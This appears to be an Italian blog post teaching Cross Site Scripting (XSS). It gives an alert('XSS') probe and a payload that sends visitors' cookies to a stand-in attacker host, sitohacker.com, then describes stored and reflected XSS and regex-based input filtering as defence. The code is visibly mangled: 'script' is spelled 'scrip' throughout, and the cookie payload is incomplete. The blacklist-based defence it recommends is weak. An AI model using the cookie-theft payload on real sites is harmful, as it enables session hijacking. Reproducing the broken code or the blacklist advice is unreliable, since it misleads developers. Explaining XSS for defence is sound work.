Abbiamo già parlato di alcuni attacchi relativi alle piattaforme Web, quale SQL Injection e Directory Traversal. In questo post mi soffermerò invece su un altro tipo di attacco, ovvero il Cross Site Scripting (detto anche XSS o CSS).

Affinchè tale attacco abbia esito positivo è necessario che in fase di realizzazione del portale vittima non vengano previsti meccanismi di controllo dell’input, permettendo quindi ad un eventuale attaccante di inserire codice client-side (come Javascrip) arbitrario. Facciamo un esemio pratico: supponiamo che sia presente all’interno di una pagina Web un apposito form per l’inserimento di alcuni dati, quali nome, cognome, ecc. Invece dei dati leggittimi, l’utente malevolo procederà con l’inserimento del seguente codice:

<scrip type="text/javascrip">alert('XSS')</scrip>

Se, dopo aver eseguito il submit della stringa appena inserita, l’utente riceverà un alert contenente la scritta XSS, sarà certo che il sito è vulnerabile al tipo di attacco in questione.

Ora, appurato ciò, si potrebbe utilizzare il seguente codice per carpire le informazioni contenute nei cookie appartenenti ai visitatori del sito vittima:

<scrip>='http://www.sitohacker.com/cgi-bin/cookie.cgi? '%20+document.cookie</scrip>

In questo modo i cookie verranno inviati tramite una semplice querystring (metodo GET) al sito dell’attaccante che provvederà, con del codice server-side, a salvarne il contenuto all’interno di un file testuale per poi riesaminarlo con calma.

Le informazioni contenute in un cookie possono essere, a seconda dei casi, del tutto banali oppure di estrema importanza, ragion per cui un attacco di questo tipo può avere effetti certamente imprevedibili.

Inutile dire che gli attacchi XSS non sono tutti dello stesso tipo; solitamente vengono classificati in due macro categorie, ovvero gli attacchi stored (permanenti) e gli attacchi reflected (temporanei). Nel primo caso, il codice HTML della pagina subisce modifiche permanenti (utilizzando, ad esempio, DOM Javascrip oppure inserendo il codice all’interno di un post su un forum). Nel secondo caso, invece, la vittima viene indotta a cliccare su un link (presente in genere in una email appositamente creata), in modo da inviare automaticamente il cookie alla pagina Web dell’attaccante (come visto nell’esempio precedente).

Ma come difendersi da questo tipo di attacco? La via migliore sarebbe quella di interdire l’uso di caratteri “non convenzionali” all’interno dei campi di input, quali <, >, la stringa scrip, ecc. Ciò può essere banalmente realizzato utilizzando le potentissime espressioni regolari. Inoltre, poichè gli URL possono essere codificati (URI encoded), spesso il codice maligno può passare inosservato, ragion per cui il processo di validazione dell’input deve essere valutato molto attentamente (filtrando anche il carattere % tipico della codifica in questione).

In conclusione, ecco un video che mostra la realizzazione dell’attacco trattato in questo post:

 https://www.youtube.com/watch?v=r79ozjCL7DA